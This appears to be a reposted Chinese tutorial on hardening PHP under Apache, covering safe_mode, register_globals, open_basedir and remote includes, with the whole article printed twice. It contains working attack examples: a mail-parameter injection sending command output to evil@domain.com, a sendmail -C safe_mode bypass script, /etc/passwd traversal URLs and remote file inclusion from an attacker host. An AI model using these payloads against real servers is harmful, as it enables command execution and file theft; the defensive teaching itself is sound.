php 安全_PHP
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2024-02-14 15:39:46
...
一、Web服务器安全
PHP其实不过是Web服务器的一个模块功能，所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全，这样就扯远了，无穷无尽。PHP可以和各种Web服务器结合，这里也只讨论Apache。非常建议以chroot方式安装启动Apache，这样即使Apache和PHP及其脚本出现漏洞，受影响的也只有这个禁锢的系统，不会危害实际系统。但是使用chroot的Apache后，给应用也会带来一定的麻烦，比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接，这在效率上会稍微差一点。还有mail函数发送邮件也是个问题，因为php.ini里的：
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是针对Win32平台，所以需要在chroot环境下调整好sendmail。
二、PHP本身问题
1、远程溢出
PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞，而且攻击程序已经广泛流传，成功率非常高.
2、远程拒绝服务
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞，虽然不能获得本地用户权限，但是也能造成拒绝服务。
3、safe_mode绕过漏洞
还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞，4.0.5版本开始mail函数增加了第五个参数，由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单，只需用分号隔开后面加shell命令就可以了，比如存在PHP脚本evil.php：
执行如下的URL：
http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com
这将id执行的结果发送给evil@domain.com。
对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数，所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令：
#注意，下面这两个必须是不存在的，
或者它们的属主和本脚本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $:
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
还是使用以上有问题版本PHP的用户一定要及时升级到最新版本，这样才能消除基本的安全问题。
三、PHP本身的安全配置
PHP的配置非常灵活，可以通过php.ini, httpd.conf, .htaccess文件（该目录必须设置了AllowOverride All或Options）进行设置，还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。
如果配置选项是唯一PHP_INI_SYSTEM属性的，必须通过php.ini和httpd.conf来修改，它们修改的是PHP的Master值，但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效，httpd.conf里设置的选项是对该定义的目录下所有脚本生效。
如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置，也可以通过在脚本程序自身用ini_set()函数设定，它们修改的是Local值，改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效，ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同，可以用如下命令查找当前源代码的main.c文件得到所有的选项，以及它的属性：
# grep PHP_INI_ /PHP_SRC/main/main.c
在讨论PHP安全配置之前，应该好好了解PHP的safe_mode模式。
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM属性，必须通过php.ini或httpd.conf来设置。要启用safe_mode，只需修改php.ini：
safe_mode = On
或者修改httpd.conf，定义目录：
Options FollowSymLinks
php_admin_value safe_mode 1
重启apache后safe_mode就生效了。启动safe_mode，会对许多PHP函数进行限制，特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件，比如test.php脚本的内容为：
几个文件的属性如下：
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
在浏览器请求test.php会提示如下的错误信息：
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目录的UID和脚本UID一致，那么该文件的UID即使和脚本不同也可以访问的，不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途，绝对禁止使用root做为php脚本的属主，这样就达不到safe_mode的效果了。
如果想将其放宽到GID比较，则打开 safe_mode_gid可以考虑只比较文件的GID，可以设置如下选项：
safe_mode_gid = On
设置了safe_mode以后，所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序，而且shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序，可以在php.ini做如下设置：
safe_mode_exec_dir = /usr/local/php/exec
然后拷贝程序到该目录，那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。
safe_mode_include_dir string
当从此目录及其子目录（目录必须在 include_path 中或者用完整路径来包含）包含文件时越过 UID/GID 检查。
从 PHP 4.2.0 开始，本指令可以接受和 include_path 指令类似的风格用分号隔开的路径，而不只是一个目录。
指定的限制实际上是一个前缀，而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”，如果它们存在。如果您希望将访问控制在一个指定的目录，那么请在结尾加上一个斜线，例如：“safe_mode_include_dir = /dir/incl/”。
safe_mode_allowed_env_vars string
设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下，用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下，用户只能设置以 PHP_ 开头的环境变量（例如 PHP_FOO = BAR）。
注: 如果本指令为空，PHP 将使用户可以修改任何环境变量！
safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表，最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。
虽然safe_mode不是万能的（低版本的PHP可以绕过），但还是强烈建议打开安全模式，在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制，可能对应用带来影响，所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。
讨论完safe_mode后，下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。
2、变量滥用
PHP默认register_globals = On，对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = "EGPCS"（可以通过php.ini修改），同名变量variables_order右边的覆盖左边，所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯，像如下的程序片断就极易受到攻击：
//test_1.php
if ($pass == "hello")
$auth = 1;
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>
攻击者只需用如下的请求就能绕过检查：
http://victim/test_1.php?auth=1
这虽然是一个很弱智的错误，但一些著名的程序也有犯过这种错误，比如phpnuke的远程文件拷贝漏洞：http://www.securityfocus.com/bid/3361
PHP-4.1.0发布的时候建议关闭register_globals，并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量，必需通过数组变量来存取。PHP-4.2.0发布的时候，php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值，一般为0，避免了攻击者控制判断变量。
解决方法：
配置文件php.ini设置register_globals = Off。
要求程序员对作为判断的变量在程序最开始初始化一个值。
3、文件打开
极易受攻击的代码片断：
//test_2.php
if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename
\n");
exit;
}
else {
echo $str;
}
?>
由于攻击者可以指定任意的$filename，攻击者用如下的请求就可以看到/etc/passwd：
http://victim/test_2.php?filename=/etc/passwd
如下请求可以读php文件本身：
http://victim/test_2.php?filename=test_2.php
PHP中文件打开函数还有fopen(), file()等，如果对文件名变量检查不严就会造成服务器重要文件被访问读取。
解决方法：
如非特殊需要，把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子：
php_admin_value open_basedir /usr/local/apache/htdocs
重启apache后，/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了，否则PHP就会报错：
Warning: open_basedir restriction in effect.
File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免这种问题，前面已经讨论过了。
4、包含文件
极易受攻击的代码片断：
//test_3.php
if(file_exists($filename))
include("$filename");
?>
这种不负责任的代码会造成相当大的危害，攻击者用如下请求可以得到/etc/passwd文件：
http://victim/test_3.php?filename=/etc/passwd
如果对于Unix版的PHP（Win版的PHP不支持远程打开文件）攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件，如http://attack/attack.txt的内容是，那么如下的请求就可以在目标主机执行命令ls /etc：
http://victim/test_3.php?filename=http://attack/attack.txt
攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码，不过由于干扰信息太多，有时不易成功。
对于另外一种形式，如下代码片断：
//test_4.php
include("$lib/config.php");
?>
攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件，然后用如下请求也可以在目标主机执行命令：
http://victim/test_4.php?lib=http://attack
PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险，可以远程执行命令。
解决方法：
要求程序员包含文件里的参数尽量不要使用变量，如果使用变量，就一定要严格检查要包含的文件名，绝对不能由用户任意指定。
如前面文件打开中限制PHP操作路径是一个必要的选项。另外，如非特殊需要，一定要关闭PHP的远程文件打开功能。修改php.ini文件：
allow_url_fopen = Off
重启apache
PHP其实不过是Web服务器的一个模块功能，所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全，这样就扯远了，无穷无尽。PHP可以和各种Web服务器结合，这里也只讨论Apache。非常建议以chroot方式安装启动Apache，这样即使Apache和PHP及其脚本出现漏洞，受影响的也只有这个禁锢的系统，不会危害实际系统。但是使用chroot的Apache后，给应用也会带来一定的麻烦，比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接，这在效率上会稍微差一点。还有mail函数发送邮件也是个问题，因为php.ini里的：
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是针对Win32平台，所以需要在chroot环境下调整好sendmail。
二、PHP本身问题
1、远程溢出
PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞，而且攻击程序已经广泛流传，成功率非常高.
2、远程拒绝服务
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞，虽然不能获得本地用户权限，但是也能造成拒绝服务。
3、safe_mode绕过漏洞
还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞，4.0.5版本开始mail函数增加了第五个参数，由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单，只需用分号隔开后面加shell命令就可以了，比如存在PHP脚本evil.php：
执行如下的URL：
http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com
这将id执行的结果发送给evil@domain.com。
对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数，所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令：
#注意，下面这两个必须是不存在的，
或者它们的属主和本脚本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $:
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
还是使用以上有问题版本PHP的用户一定要及时升级到最新版本，这样才能消除基本的安全问题。
三、PHP本身的安全配置
PHP的配置非常灵活，可以通过php.ini, httpd.conf, .htaccess文件（该目录必须设置了AllowOverride All或Options）进行设置，还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。
如果配置选项是唯一PHP_INI_SYSTEM属性的，必须通过php.ini和httpd.conf来修改，它们修改的是PHP的Master值，但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效，httpd.conf里设置的选项是对该定义的目录下所有脚本生效。
如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置，也可以通过在脚本程序自身用ini_set()函数设定，它们修改的是Local值，改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效，ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同，可以用如下命令查找当前源代码的main.c文件得到所有的选项，以及它的属性：
# grep PHP_INI_ /PHP_SRC/main/main.c
在讨论PHP安全配置之前，应该好好了解PHP的safe_mode模式。
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM属性，必须通过php.ini或httpd.conf来设置。要启用safe_mode，只需修改php.ini：
safe_mode = On
或者修改httpd.conf，定义目录：
Options FollowSymLinks
php_admin_value safe_mode 1
重启apache后safe_mode就生效了。启动safe_mode，会对许多PHP函数进行限制，特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件，比如test.php脚本的内容为：
几个文件的属性如下：
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
在浏览器请求test.php会提示如下的错误信息：
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目录的UID和脚本UID一致，那么该文件的UID即使和脚本不同也可以访问的，不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途，绝对禁止使用root做为php脚本的属主，这样就达不到safe_mode的效果了。
如果想将其放宽到GID比较，则打开 safe_mode_gid可以考虑只比较文件的GID，可以设置如下选项：
safe_mode_gid = On
设置了safe_mode以后，所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序，而且shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序，可以在php.ini做如下设置：
safe_mode_exec_dir = /usr/local/php/exec
然后拷贝程序到该目录，那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。
safe_mode_include_dir string
当从此目录及其子目录（目录必须在 include_path 中或者用完整路径来包含）包含文件时越过 UID/GID 检查。
从 PHP 4.2.0 开始，本指令可以接受和 include_path 指令类似的风格用分号隔开的路径，而不只是一个目录。
指定的限制实际上是一个前缀，而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”，如果它们存在。如果您希望将访问控制在一个指定的目录，那么请在结尾加上一个斜线，例如：“safe_mode_include_dir = /dir/incl/”。
safe_mode_allowed_env_vars string
设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下，用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下，用户只能设置以 PHP_ 开头的环境变量（例如 PHP_FOO = BAR）。
注: 如果本指令为空，PHP 将使用户可以修改任何环境变量！
safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表，最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。
虽然safe_mode不是万能的（低版本的PHP可以绕过），但还是强烈建议打开安全模式，在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制，可能对应用带来影响，所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。
讨论完safe_mode后，下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。
2、变量滥用
PHP默认register_globals = On，对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = "EGPCS"（可以通过php.ini修改），同名变量variables_order右边的覆盖左边，所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯，像如下的程序片断就极易受到攻击：
//test_1.php
if ($pass == "hello")
$auth = 1;
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>
攻击者只需用如下的请求就能绕过检查：
http://victim/test_1.php?auth=1
这虽然是一个很弱智的错误，但一些著名的程序也有犯过这种错误，比如phpnuke的远程文件拷贝漏洞：http://www.securityfocus.com/bid/3361
PHP-4.1.0发布的时候建议关闭register_globals，并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量，必需通过数组变量来存取。PHP-4.2.0发布的时候，php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值，一般为0，避免了攻击者控制判断变量。
解决方法：
配置文件php.ini设置register_globals = Off。
要求程序员对作为判断的变量在程序最开始初始化一个值。
3、文件打开
极易受攻击的代码片断：
//test_2.php
if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename
\n");
exit;
}
else {
echo $str;
}
?>
由于攻击者可以指定任意的$filename，攻击者用如下的请求就可以看到/etc/passwd：
http://victim/test_2.php?filename=/etc/passwd
如下请求可以读php文件本身：
http://victim/test_2.php?filename=test_2.php
PHP中文件打开函数还有fopen(), file()等，如果对文件名变量检查不严就会造成服务器重要文件被访问读取。
解决方法：
如非特殊需要，把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子：
php_admin_value open_basedir /usr/local/apache/htdocs
重启apache后，/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了，否则PHP就会报错：
Warning: open_basedir restriction in effect.
File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免这种问题，前面已经讨论过了。
4、包含文件
极易受攻击的代码片断：
//test_3.php
if(file_exists($filename))
include("$filename");
?>
这种不负责任的代码会造成相当大的危害，攻击者用如下请求可以得到/etc/passwd文件：
http://victim/test_3.php?filename=/etc/passwd
如果对于Unix版的PHP（Win版的PHP不支持远程打开文件）攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件，如http://attack/attack.txt的内容是，那么如下的请求就可以在目标主机执行命令ls /etc：
http://victim/test_3.php?filename=http://attack/attack.txt
攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码，不过由于干扰信息太多，有时不易成功。
对于另外一种形式，如下代码片断：
//test_4.php
include("$lib/config.php");
?>
攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件，然后用如下请求也可以在目标主机执行命令：
http://victim/test_4.php?lib=http://attack
PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险，可以远程执行命令。
解决方法：
要求程序员包含文件里的参数尽量不要使用变量，如果使用变量，就一定要严格检查要包含的文件名，绝对不能由用户任意指定。
如前面文件打开中限制PHP操作路径是一个必要的选项。另外，如非特殊需要，一定要关闭PHP的远程文件打开功能。修改php.ini文件：
allow_url_fopen = Off
重启apache